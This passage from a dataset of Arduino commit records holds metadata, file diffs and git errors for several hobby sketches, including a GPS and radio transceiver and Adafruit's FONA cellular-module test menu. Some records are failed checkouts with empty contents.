example.\n","repos":"bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013","old_file":"Week4\/AnalogRead\/AnalogRead.ino","new_file":"Week4\/AnalogRead\/AnalogRead.ino","new_contents":"\nconst int potPin = A0;\n\nint value = 0;\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n \/\/int potValue = analogRead(potPin);\n \n Serial.println(value);\n \n value++;\n \n if(value > 255) value = 0;\n \n\/\/ Serial.println(potValue);\n \n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Week4\/AnalogRead\/AnalogRead.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"46215bd1ecbba13b1a1c6aa34b552da8d85b2534","subject":"Update pt_remote controlled car.ino","message":"Update pt_remote controlled car.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"088b8e10a067a92f1006d1b107613645d9d9e8c1","subject":"Create robot.ino","message":"Create robot.ino","repos":"jzbass25\/BasicParticleRobot","old_file":"robot.ino","new_file":"robot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jzbass25\/BasicParticleRobot.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"720156c43f9ff150d16e628aa72f636f40862b27","subject":"Comment changes","message":"Comment changes\n","repos":"AdlerFarHorizons\/Transceiver,AdlerFarHorizons\/Transceiver","old_file":"software\/XTendPayloadTeensy\/XTendPayloadTeensy.ino","new_file":"software\/XTendPayloadTeensy\/XTendPayloadTeensy.ino","new_contents":"\/*\n * Serial1: GPS and LOGGER \n * Serial2: RF IN\/OUT\n *\/\n#define GPSLEN 100 \/\/max length of GPS output to be sent\nchar pkt_buffer[200];\nboolean sentencePending, sentenceRdy;\nboolean txFlag, help;\nchar sentenceBuf[GPSLEN];\nchar sentenceBuf2[GPSLEN];\nString gpsTime, gpsDate, gpsLat, gpsLon, gpsAlt, gspVgnd, gpsHdng;\nint sentenceBufIndex = 0;\nString msgIn = \"\";\n\nString output = \"hello\";\nint numb = 0;\nIntervalTimer txTimer;\n\/\/const int pin2 = 2;\n\nvoid setup(){\n Serial1.begin(9600); \n Serial2.begin(9600); \n sentencePending = false;\n sentenceRdy = false;\n sentenceBuf[0] = 0;\n sentenceBufIndex = 0;\n txTimer.begin(transmit, 10000);\n pinMode(5,INPUT_PULLUP);\n}\nvoid loop(){\n \/\/ Copy any completed sentence to the buffer, set up for next sentence.\n if ( sentenceRdy ) {\n for ( int i = 0 ; i < GPSLEN ; i++ ) {\n sentenceBuf2[i] = sentenceBuf[i];\n }\n sentenceRdy = false;\n }\n \/\/RX section, READ from RF\n char lastChar;\n while(Serial2.available()){\n lastChar = Serial2.read();\n if(lastChar == 10){ \/\/if I get a new line\n Serial.println( msgIn );\n int rcvdNum = (int)msgIn.substring(1 + msgIn.indexOf(' ')).toInt();\n boolean ok = false;\n if (rcvdNum == numb-1){\n ok = true;\n }\n \/\/altSerial.print(msgIn.substring(1 + msgIn.indexOf(' ')) + \"#\"+(String)(numb-1));\n \/\/Serial.print(msgIn.substring(1 + msgIn.indexOf(' ')) + \"#\"+(String)(numb-1));\/\/for logging\n if(ok){\n \/\/altSerial.println(\" ok\");\n \/\/Serial.println(\" ok\");\/\/for logging\n }else{\n \/\/altSerial.println(\"-not ok\");\/\/the space is important here\n \/\/Serial.println(\"-not ok\");\/\/for logging\n }\n msgIn = \"\";\n }else{\n msgIn += lastChar;\n }\n }\n \/\/TX\n if ( txFlag ) {\n Serial1.print( \"TX:\" ); \/\/ Identifies transmitted packet for log.\n sendData();\n numb++;\n txFlag = false;\n Serial1.print( \"RX:\" );\n }\n getCharGPS();\n}\n\nvoid getCharGPS() {\n char c;\n if ( Serial1.available() ) {\n c = Serial1.read();\n if ( !sentenceRdy ) {\n if ( c == 36 ) { \/\/36 is '$', start of GPS statement - KN\n sentenceBufIndex = 0;\n sentencePending = true;\n }\n if ( sentencePending && c == 10 ) { \/\/10 is new line - KN\n sentenceRdy = true;\n sentencePending = false;\n }\n sentenceBuf[sentenceBufIndex] = c;\n sentenceBufIndex++;\n sentenceBuf[sentenceBufIndex] = 0;\n }\n }\n}\n\nvoid sendData() {\n \/\/print out sentence, all of it - KN\n int i = 0;\n \n if ( sentenceRdy ) {\n while( sentenceBuf[i+1] != 0 ) {\n Serial2.write( sentenceBuf[i] );\n Serial1.write( sentenceBuf[i] );\/\/for logging\n i++;\n }\n sentenceRdy = false;\n } else { \/\/ Buffer data is being updated. Use current sentence\n Serial1.print( \"BUF\" );\n while( sentenceBuf2[i+1] != 0 ) {\n Serial2.write( sentenceBuf[i] );\n Serial1.write( sentenceBuf2[i] );\/\/for logging\n i++;\n }\n }\n \n Serial2.print(\" \"+(String)numb); \/\/also puts the 0 at the end of TX string\n Serial1.print(\" \"+(String)numb);\n Serial2.write(10);\n Serial1.write(10);\n}\n\nvoid transmit() {\n txFlag = true;\n help = 0;\n}\nvoid printAndSend(String whatToSend){ \/\/sends message to both logger and rf module\n Serial2.print( whatToSend ); \/\/ RF module\n Serial1.print( whatToSend ); \/\/ Logger\n}\n","old_contents":"\/*\n * SERIAL1: GPS and LOGGER \n * SERIAL2: RF IN\/OUT\n *\/\n#define GPSLEN 100 \/\/max length of GPS output to be sent\nchar pkt_buffer[200];\nboolean sentencePending, sentenceRdy;\nboolean txFlag, help;\nchar sentenceBuf[GPSLEN];\nchar sentenceBuf2[GPSLEN];\nString gpsTime, gpsDate, gpsLat, gpsLon, gpsAlt, gspVgnd, gpsHdng;\nint sentenceBufIndex = 0;\nString msgIn = \"\";\n\nString output = \"hello\";\nint numb = 0;\nIntervalTimer txTimer;\n\/\/const int pin2 = 2;\n\nvoid setup(){\n Serial1.begin(9600); \n Serial2.begin(9600); \n sentencePending = false;\n sentenceRdy = false;\n sentenceBuf[0] = 0;\n sentenceBufIndex = 0;\n txTimer.begin(transmit, 10000);\n pinMode(5,INPUT_PULLUP);\n}\nvoid loop(){\n \/\/ Copy any completed sentence to 2nd buffer\n if ( sentenceRdy ) {\n for ( int i = 0 ; i < GPSLEN ; i++ ) {\n sentenceBuf2[i] = sentenceBuf[i];\n }\n sentenceRdy = false;\n }\n \/\/RX section, READ from RF\n char lastChar;\n while(Serial2.available()){\n lastChar = Serial2.read();\n if(lastChar == 10){ \/\/if I get a new line\n Serial.println( msgIn );\n int rcvdNum = (int)msgIn.substring(1 + msgIn.indexOf(' ')).toInt();\n boolean ok = false;\n if (rcvdNum == numb-1){\n ok = true;\n }\n \/\/altSerial.print(msgIn.substring(1 + msgIn.indexOf(' ')) + \"#\"+(String)(numb-1));\n \/\/Serial.print(msgIn.substring(1 + msgIn.indexOf(' ')) + \"#\"+(String)(numb-1));\/\/for logging\n if(ok){\n \/\/altSerial.println(\" ok\");\n \/\/Serial.println(\" ok\");\/\/for logging\n }else{\n \/\/altSerial.println(\"-not ok\");\/\/the space is important here\n \/\/Serial.println(\"-not ok\");\/\/for logging\n }\n msgIn = \"\";\n }else{\n msgIn += lastChar;\n }\n }\n \/\/TX\n if ( txFlag ) {\n Serial1.print( \"TX:\" ); \/\/ Identifies transmitted packet for log.\n sendData();\n numb++;\n txFlag = false;\n Serial1.print( \"RX:\" );\n }\n getCharGPS();\n}\n\nvoid getCharGPS() {\n char c;\n if ( Serial1.available() ) {\n c = Serial1.read();\n if ( !sentenceRdy ) {\n if ( c == 36 ) { \/\/36 is '$', start of GPS statement - KN\n sentenceBufIndex = 0;\n sentencePending = true;\n }\n if ( sentencePending && c == 10 ) { \/\/10 is new line - KN\n sentenceRdy = true;\n sentencePending = false;\n }\n sentenceBuf[sentenceBufIndex] = c;\n sentenceBufIndex++;\n sentenceBuf[sentenceBufIndex] = 0;\n }\n }\n}\n\nvoid sendData() {\n \/\/print out sentenceBuf, all of it - KN\n int i = 0;\n \n\/\/ if ( sentenceBuf[0] == 0 || msgIn == \"\" ) {\n\/\/ Serial.println(\"\");\n\/\/ }\n if ( sentenceRdy ) {\n while( sentenceBuf[i+1] != 0 ) {\n Serial2.write( sentenceBuf[i] );\n Serial1.write( sentenceBuf[i] );\/\/for logging\n i++;\n }\n sentenceRdy = false;\n } else { \/\/ Latest data not ready yet, use 2nd buffer\n Serial1.print( \"BUF\" );\n while( sentenceBuf2[i+1] != 0 ) {\n Serial2.write( sentenceBuf[i] );\n Serial1.write( sentenceBuf2[i] );\/\/for logging\n i++;\n }\n }\n \n Serial2.print(\" \"+(String)numb); \/\/also puts the 0 at the end of TX string\n Serial1.print(\" \"+(String)numb);\n Serial2.write(10);\n Serial1.write(10);\n}\n\nvoid transmit() {\n txFlag = true;\n help = 0;\n}\nvoid printAndSend(String whatToSend){ \/\/sends message to both logger and rf module\n Serial2.print(whatToSend);\n Serial1.print(whatToSend);\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"5b44ff5e55b10cc15911f808abb98af2c78c9076","subject":"Removed Extra Println","message":"Removed Extra Println\n","repos":"ashwinpilgaonkar\/Flick,ashwinpilgaonkar\/Flick,ashwinpilgaonkar\/Flick","old_file":"BitBangingMpu6050\/Right Hand Arduino Code.ino","new_file":"BitBangingMpu6050\/Right Hand Arduino Code.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'BitBangingMpu6050\/Right' did not match any file(s) known to git\nerror: pathspec 'Hand' did not match any file(s) known to git\nerror: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"78f0db1d86082e1b2e2661dac362af7509518d9e","subject":"fona test","message":"fona test\n","repos":"ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook","old_file":"FONAtest\/FONAtest.ino","new_file":"FONAtest\/FONAtest.ino","new_contents":"\/***************************************************\n This is an example for our Adafruit FONA Cellular Module\n\n Designed specifically to work with the Adafruit FONA\n ----> http:\/\/www.adafruit.com\/products\/1946\n ----> http:\/\/www.adafruit.com\/products\/1963\n ----> http:\/\/www.adafruit.com\/products\/2468\n ----> http:\/\/www.adafruit.com\/products\/2542\n\n These cellular modules use TTL Serial to communicate, 2 pins are\n required to interface\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n#define\t\tAPN \t\t\"internet.vodafone.net\"\n\n\/*\nTHIS CODE IS STILL IN PROGRESS!\n\nOpen up the serial console on the Arduino at 115200 baud to interact with FONA\n\nNote that if you need to set a GPRS APN, username, and password scroll down to\nthe commented section below at the end of the setup() function.\n*\/\n#include \"Adafruit_FONA.h\"\n\n#define FONA_RX 2\n#define FONA_TX 3\n#define FONA_RST 4\n\n\/\/ this is a large buffer for replies\nchar replybuffer[255];\n\n\/\/ We default to using software serial. If you want to use hardware serial\n\/\/ (because softserial isnt supported) comment out the following three lines \n\/\/ and uncomment the HardwareSerial line\n#include <SoftwareSerial.h>\nSoftwareSerial fonaSS = SoftwareSerial(FONA_TX, FONA_RX);\nSoftwareSerial *fonaSerial = &fonaSS;\n\n\/\/ Hardware serial is also possible!\n\/\/ HardwareSerial *fonaSerial = &Serial1;\n\n\/\/ Use this for FONA 800 and 808s\nAdafruit_FONA fona = Adafruit_FONA(FONA_RST);\n\/\/ Use this one for FONA 3G\n\/\/Adafruit_FONA_3G fona = Adafruit_FONA_3G(FONA_RST);\n\nuint8_t readline(char *buff, uint8_t maxbuff, uint16_t timeout = 0);\n\nuint8_t type;\n\nvoid setup() {\n while (!Serial);\n\n Serial.begin(115200);\n Serial.println(F(\"FONA basic test\"));\n Serial.println(F(\"Initializing....(May take 3 seconds)\"));\n\n fonaSerial->begin(4800);\n if (! fona.begin(*fonaSerial)) {\n Serial.println(F(\"Couldn't find FONA\"));\n while (1);\n }\n type = fona.type();\n Serial.println(F(\"FONA is OK\"));\n Serial.print(F(\"Found \"));\n switch (type) {\n case FONA800L:\n Serial.println(F(\"FONA 800L\")); break;\n case FONA800H:\n Serial.println(F(\"FONA 800H\")); break;\n case FONA808_V1:\n Serial.println(F(\"FONA 808 (v1)\")); break;\n case FONA808_V2:\n Serial.println(F(\"FONA 808 (v2)\")); break;\n case FONA3G_A:\n Serial.println(F(\"FONA 3G (American)\")); break;\n case FONA3G_E:\n Serial.println(F(\"FONA 3G (European)\")); break;\n default: \n Serial.println(F(\"???\")); break;\n }\n \n \/\/ Print module IMEI number.\n char imei[15] = {0}; \/\/ MUST use a 16 character buffer for IMEI!\n uint8_t imeiLen = fona.getIMEI(imei);\n if (imeiLen > 0) {\n Serial.print(\"Module IMEI: \"); Serial.println(imei);\n }\n\n \/\/ Optionally configure a GPRS APN, username, and password.\n \/\/ You might need to do this to access your network's GPRS\/data\n \/\/ network. Contact your provider for the exact APN, username,\n \/\/ and password values. Username and password are optional and\n \/\/ can be removed, but APN is required.\n \/\/fona.setGPRSNetworkSettings(F(\"your APN\"), F(\"your username\"), F(\"your password\"));\n fona.setGPRSNetworkSettings(F(APN));\n\n \/\/ Optionally configure HTTP gets to follow redirects over SSL.\n \/\/ Default is not to follow SSL redirects, however if you uncomment\n \/\/ the following line then redirects over SSL will be followed.\n \/\/fona.setHTTPSRedirect(true);\n\n printMenu();\n}\n\nvoid printMenu(void) {\n Serial.println(F(\"-------------------------------------\"));\n Serial.println(F(\"[?] Print this menu\"));\n Serial.println(F(\"[a] read the ADC 2.8V max (FONA800 & 808)\"));\n Serial.println(F(\"[b] read the Battery V and % charged\"));\n Serial.println(F(\"[C] read the SIM CCID\"));\n Serial.println(F(\"[U] Unlock SIM with PIN code\"));\n Serial.println(F(\"[i] read RSSI\"));\n Serial.println(F(\"[n] get Network status\"));\n Serial.println(F(\"[v] set audio Volume\"));\n Serial.println(F(\"[V] get Volume\"));\n Serial.println(F(\"[H] set Headphone audio (FONA800 & 808)\"));\n Serial.println(F(\"[e] set External audio (FONA800 & 808)\"));\n Serial.println(F(\"[T] play audio Tone\"));\n Serial.println(F(\"[P] PWM\/Buzzer out (FONA800 & 808)\"));\n\n \/\/ FM (SIM800 only!)\n Serial.println(F(\"[f] tune FM radio (FONA800)\"));\n Serial.println(F(\"[F] turn off FM (FONA800)\"));\n Serial.println(F(\"[m] set FM volume (FONA800)\"));\n Serial.println(F(\"[M] get FM volume (FONA800)\"));\n Serial.println(F(\"[q] get FM station signal level (FONA800)\"));\n\n \/\/ Phone\n Serial.println(F(\"[c] make phone Call\"));\n Serial.println(F(\"[A] get call status\"));\n Serial.println(F(\"[h] Hang up phone\"));\n Serial.println(F(\"[p] Pick up phone\"));\n\n \/\/ SMS\n Serial.println(F(\"[N] Number of SMSs\"));\n Serial.println(F(\"[r] Read SMS #\"));\n Serial.println(F(\"[R] Read All SMS\"));\n Serial.println(F(\"[d] Delete SMS #\"));\n Serial.println(F(\"[s] Send SMS\"));\n Serial.println(F(\"[u] Send USSD\"));\n \n \/\/ Time\n Serial.println(F(\"[y] Enable network time sync (FONA 800 & 808)\"));\n Serial.println(F(\"[Y] Enable NTP time sync (GPRS FONA 800 & 808)\"));\n Serial.println(F(\"[t] Get network time\"));\n\n \/\/ GPRS\n Serial.println(F(\"[G] Enable GPRS\"));\n Serial.println(F(\"[g] Disable GPRS\"));\n Serial.println(F(\"[l] Query GSMLOC (GPRS)\"));\n Serial.println(F(\"[w] Read webpage (GPRS)\"));\n Serial.println(F(\"[W] Post to website (GPRS)\"));\n\n \/\/ GPS\n if ((type == FONA3G_A) || (type == FONA3G_E) || (type == FONA808_V1) || (type == FONA808_V2)) {\n Serial.println(F(\"[O] Turn GPS on (FONA 808 & 3G)\"));\n Serial.println(F(\"[o] Turn GPS off (FONA 808 & 3G)\"));\n Serial.println(F(\"[L] Query GPS location (FONA 808 & 3G)\"));\n if (type == FONA808_V1) {\n Serial.println(F(\"[x] GPS fix status (FONA808 v1 only)\"));\n }\n Serial.println(F(\"[E] Raw NMEA out (FONA808)\"));\n }\n \n Serial.println(F(\"[S] create Serial passthru tunnel\"));\n Serial.println(F(\"-------------------------------------\"));\n Serial.println(F(\"\"));\n\n}\nvoid loop() {\n Serial.print(F(\"FONA> \"));\n while (! Serial.available() ) {\n if (fona.available()) {\n Serial.write(fona.read());\n }\n }\n\n char command = Serial.read();\n Serial.println(command);\n\n\n switch (command) {\n case '?': {\n printMenu();\n break;\n }\n\n case 'a': {\n \/\/ read the ADC\n uint16_t adc;\n if (! fona.getADCVoltage(&adc)) {\n Serial.println(F(\"Failed to read ADC\"));\n } else {\n Serial.print(F(\"ADC = \")); Serial.print(adc); Serial.println(F(\" mV\"));\n }\n break;\n }\n\n case 'b': {\n \/\/ read the battery voltage and percentage\n uint16_t vbat;\n if (! fona.getBattVoltage(&vbat)) {\n Serial.println(F(\"Failed to read Batt\"));\n } else {\n Serial.print(F(\"VBat = \")); Serial.print(vbat); Serial.println(F(\" mV\"));\n }\n\n\n if (! fona.getBattPercent(&vbat)) {\n Serial.println(F(\"Failed to read Batt\"));\n } else {\n Serial.print(F(\"VPct = \")); Serial.print(vbat); Serial.println(F(\"%\"));\n }\n\n break;\n }\n\n case 'U': {\n \/\/ Unlock the SIM with a PIN code\n char PIN[5];\n flushSerial();\n Serial.println(F(\"Enter 4-digit PIN\"));\n readline(PIN, 3);\n Serial.println(PIN);\n Serial.print(F(\"Unlocking SIM card: \"));\n if (! fona.unlockSIM(PIN)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n break;\n }\n\n case 'C': {\n \/\/ read the CCID\n fona.getSIMCCID(replybuffer); \/\/ make sure replybuffer is at least 21 bytes!\n Serial.print(F(\"SIM CCID = \")); Serial.println(replybuffer);\n break;\n }\n\n case 'i': {\n \/\/ read the RSSI\n uint8_t n = fona.getRSSI();\n int8_t r;\n\n Serial.print(F(\"RSSI = \")); Serial.print(n); Serial.print(\": \");\n if (n == 0) r = -115;\n if (n == 1) r = -111;\n if (n == 31) r = -52;\n if ((n >= 2) && (n <= 30)) {\n r = map(n, 2, 30, -110, -54);\n }\n Serial.print(r); Serial.println(F(\" dBm\"));\n\n break;\n }\n\n case 'n': {\n \/\/ read the network\/cellular status\n uint8_t n = fona.getNetworkStatus();\n Serial.print(F(\"Network status \"));\n Serial.print(n);\n Serial.print(F(\": \"));\n if (n == 0) Serial.println(F(\"Not registered\"));\n if (n == 1) Serial.println(F(\"Registered (home)\"));\n if (n == 2) Serial.println(F(\"Not registered (searching)\"));\n if (n == 3) Serial.println(F(\"Denied\"));\n if (n == 4) Serial.println(F(\"Unknown\"));\n if (n == 5) Serial.println(F(\"Registered roaming\"));\n break;\n }\n\n \/*** Audio ***\/\n case 'v': {\n \/\/ set volume\n flushSerial();\n if ( (type == FONA3G_A) || (type == FONA3G_E) ) {\n Serial.print(F(\"Set Vol [0-8] \"));\n } else {\n Serial.print(F(\"Set Vol % [0-100] \"));\n }\n uint8_t vol = readnumber();\n Serial.println();\n if (! fona.setVolume(vol)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n break;\n }\n\n case 'V': {\n uint8_t v = fona.getVolume();\n Serial.print(v);\n if ( (type == FONA3G_A) || (type == FONA3G_E) ) {\n Serial.println(\" \/ 8\");\n } else {\n Serial.println(\"%\");\n }\n break;\n }\n\n case 'H': {\n \/\/ Set Headphone output\n if (! fona.setAudio(FONA_HEADSETAUDIO)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n fona.setMicVolume(FONA_HEADSETAUDIO, 15);\n break;\n }\n case 'e': {\n \/\/ Set External output\n if (! fona.setAudio(FONA_EXTAUDIO)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n\n fona.setMicVolume(FONA_EXTAUDIO, 10);\n break;\n }\n\n case 'T': {\n \/\/ play tone\n flushSerial();\n Serial.print(F(\"Play tone #\"));\n uint8_t kittone = readnumber();\n Serial.println();\n \/\/ play for 1 second (1000 ms)\n if (! fona.playToolkitTone(kittone, 1000)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n break;\n }\n\n \/*** FM Radio ***\/\n\n case 'f': {\n \/\/ get freq\n flushSerial();\n Serial.print(F(\"FM Freq (eg 1011 == 101.1 MHz): \"));\n uint16_t station = readnumber();\n Serial.println();\n \/\/ FM radio ON using headset\n if (fona.FMradio(true, FONA_HEADSETAUDIO)) {\n Serial.println(F(\"Opened\"));\n }\n if (! fona.tuneFMradio(station)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"Tuned\"));\n }\n break;\n }\n case 'F': {\n \/\/ FM radio off\n if (! fona.FMradio(false)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n break;\n }\n case 'm': {\n \/\/ Set FM volume.\n flushSerial();\n Serial.print(F(\"Set FM Vol [0-6]:\"));\n uint8_t vol = readnumber();\n Serial.println();\n if (!fona.setFMVolume(vol)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n break;\n }\n case 'M': {\n \/\/ Get FM volume.\n uint8_t fmvol = fona.getFMVolume();\n if (fmvol < 0) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.print(F(\"FM volume: \"));\n Serial.println(fmvol, DEC);\n }\n break;\n }\n case 'q': {\n \/\/ Get FM station signal level (in decibels).\n flushSerial();\n Serial.print(F(\"FM Freq (eg 1011 == 101.1 MHz): \"));\n uint16_t station = readnumber();\n Serial.println();\n int8_t level = fona.getFMSignalLevel(station);\n if (level < 0) {\n Serial.println(F(\"Failed! Make sure FM radio is on (tuned to station).\"));\n } else {\n Serial.print(F(\"Signal level (dB): \"));\n Serial.println(level, DEC);\n }\n break;\n }\n\n \/*** PWM ***\/\n\n case 'P': {\n \/\/ PWM Buzzer output @ 2KHz max\n flushSerial();\n Serial.print(F(\"PWM Freq, 0 = Off, (1-2000): \"));\n uint16_t freq = readnumber();\n Serial.println();\n if (! fona.setPWM(freq)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n break;\n }\n\n \/*** Call ***\/\n case 'c': {\n \/\/ call a phone!\n char number[30];\n flushSerial();\n Serial.print(F(\"Call #\"));\n readline(number, 30);\n Serial.println();\n Serial.print(F(\"Calling \")); Serial.println(number);\n if (!fona.callPhone(number)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"Sent!\"));\n }\n\n break;\n }\n case 'A': {\n \/\/ get call status\n int8_t callstat = fona.getCallStatus();\n switch (callstat) {\n case 0: Serial.println(F(\"Ready\")); break;\n case 1: Serial.println(F(\"Could not get status\")); break;\n case 3: Serial.println(F(\"Ringing (incoming)\")); break;\n case 4: Serial.println(F(\"Ringing\/in progress (outgoing)\")); break;\n default: Serial.println(F(\"Unknown\")); break;\n }\n break;\n }\n \n case 'h': {\n \/\/ hang up!\n if (! fona.hangUp()) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n break;\n }\n\n case 'p': {\n \/\/ pick up!\n if (! fona.pickUp()) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n break;\n }\n\n \/*** SMS ***\/\n\n case 'N': {\n \/\/ read the number of SMS's!\n int8_t smsnum = fona.getNumSMS();\n if (smsnum < 0) {\n Serial.println(F(\"Could not read # SMS\"));\n } else {\n Serial.print(smsnum);\n Serial.println(F(\" SMS's on SIM card!\"));\n }\n break;\n }\n case 'r': {\n \/\/ read an SMS\n flushSerial();\n Serial.print(F(\"Read #\"));\n uint8_t smsn = readnumber();\n Serial.print(F(\"\\n\\rReading SMS #\")); Serial.println(smsn);\n\n \/\/ Retrieve SMS sender address\/phone number.\n if (! fona.getSMSSender(smsn, replybuffer, 250)) {\n Serial.println(\"Failed!\");\n break;\n }\n Serial.print(F(\"FROM: \")); Serial.println(replybuffer);\n\n \/\/ Retrieve SMS value.\n uint16_t smslen;\n if (! fona.readSMS(smsn, replybuffer, 250, &smslen)) { \/\/ pass in buffer and max len!\n Serial.println(\"Failed!\");\n break;\n }\n Serial.print(F(\"***** SMS #\")); Serial.print(smsn);\n Serial.print(\" (\"); Serial.print(smslen); Serial.println(F(\") bytes *****\"));\n Serial.println(replybuffer);\n Serial.println(F(\"*****\"));\n\n break;\n }\n case 'R': {\n \/\/ read all SMS\n int8_t smsnum = fona.getNumSMS();\n uint16_t smslen;\n int8_t smsn;\n\n if ( (type == FONA3G_A) || (type == FONA3G_E) ) {\n smsn = 0; \/\/ zero indexed\n smsnum--;\n } else {\n smsn = 1; \/\/ 1 indexed\n }\n\n for ( ; smsn <= smsnum; smsn++) {\n Serial.print(F(\"\\n\\rReading SMS #\")); Serial.println(smsn);\n if (!fona.readSMS(smsn, replybuffer, 250, &smslen)) { \/\/ pass in buffer and max len!\n Serial.println(F(\"Failed!\"));\n break;\n }\n \/\/ if the length is zero, its a special case where the index number is higher\n \/\/ so increase the max we'll look at!\n if (smslen == 0) {\n Serial.println(F(\"[empty slot]\"));\n smsnum++;\n continue;\n }\n\n Serial.print(F(\"***** SMS #\")); Serial.print(smsn);\n Serial.print(\" (\"); Serial.print(smslen); Serial.println(F(\") bytes *****\"));\n Serial.println(replybuffer);\n Serial.println(F(\"*****\"));\n }\n break;\n }\n\n case 'd': {\n \/\/ delete an SMS\n flushSerial();\n Serial.print(F(\"Delete #\"));\n uint8_t smsn = readnumber();\n\n Serial.print(F(\"\\n\\rDeleting SMS #\")); Serial.println(smsn);\n if (fona.deleteSMS(smsn)) {\n Serial.println(F(\"OK!\"));\n } else {\n Serial.println(F(\"Couldn't delete\"));\n }\n break;\n }\n\n case 's': {\n \/\/ send an SMS!\n char sendto[21], message[141];\n flushSerial();\n Serial.print(F(\"Send to #\"));\n readline(sendto, 20);\n Serial.println(sendto);\n Serial.print(F(\"Type out one-line message (140 char): \"));\n readline(message, 140);\n Serial.println(message);\n if (!fona.sendSMS(sendto, message)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"Sent!\"));\n }\n\n break;\n }\n\n case 'u': {\n \/\/ send a USSD!\n char message[141];\n flushSerial();\n Serial.print(F(\"Type out one-line message (140 char): \"));\n readline(message, 140);\n Serial.println(message);\n\n uint16_t ussdlen;\n if (!fona.sendUSSD(message, replybuffer, 250, &ussdlen)) { \/\/ pass in buffer and max len!\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"Sent!\"));\n Serial.print(F(\"***** USSD Reply\"));\n Serial.print(\" (\"); Serial.print(ussdlen); Serial.println(F(\") bytes *****\"));\n Serial.println(replybuffer);\n Serial.println(F(\"*****\"));\n }\n }\n\n \/*** Time ***\/\n\n case 'y': {\n \/\/ enable network time sync\n if (!fona.enableNetworkTimeSync(true))\n Serial.println(F(\"Failed to enable\"));\n break;\n }\n\n case 'Y': {\n \/\/ enable NTP time sync\n if (!fona.enableNTPTimeSync(true, F(\"pool.ntp.org\")))\n Serial.println(F(\"Failed to enable\"));\n break;\n }\n\n case 't': {\n \/\/ read the time\n char buffer[23];\n\n fona.getTime(buffer, 23); \/\/ make sure replybuffer is at least 23 bytes!\n Serial.print(F(\"Time = \")); Serial.println(buffer);\n break;\n }\n\n\n \/*********************************** GPS (SIM808 only) *\/\n\n case 'o': {\n \/\/ turn GPS off\n if (!fona.enableGPS(false))\n Serial.println(F(\"Failed to turn off\"));\n break;\n }\n case 'O': {\n \/\/ turn GPS on\n if (!fona.enableGPS(true))\n Serial.println(F(\"Failed to turn on\"));\n break;\n }\n case 'x': {\n int8_t stat;\n \/\/ check GPS fix\n stat = fona.GPSstatus();\n if (stat < 0)\n Serial.println(F(\"Failed to query\"));\n if (stat == 0) Serial.println(F(\"GPS off\"));\n if (stat == 1) Serial.println(F(\"No fix\"));\n if (stat == 2) Serial.println(F(\"2D fix\"));\n if (stat == 3) Serial.println(F(\"3D fix\"));\n break;\n }\n\n case 'L': {\n \/\/ check for GPS location\n char gpsdata[120];\n fona.getGPS(0, gpsdata, 120);\n if (type == FONA808_V1)\n Serial.println(F(\"Reply in format: mode,longitude,latitude,altitude,utctime(yyyymmddHHMMSS),ttff,satellites,speed,course\"));\n else \n Serial.println(F(\"Reply in format: mode,fixstatus,utctime(yyyymmddHHMMSS),latitude,longitude,altitude,speed,course,fixmode,reserved1,HDOP,PDOP,VDOP,reserved2,view_satellites,used_satellites,reserved3,C\/N0max,HPA,VPA\"));\n Serial.println(gpsdata);\n\n break;\n }\n\n case 'E': {\n flushSerial();\n if (type == FONA808_V1) {\n Serial.print(F(\"GPS NMEA output 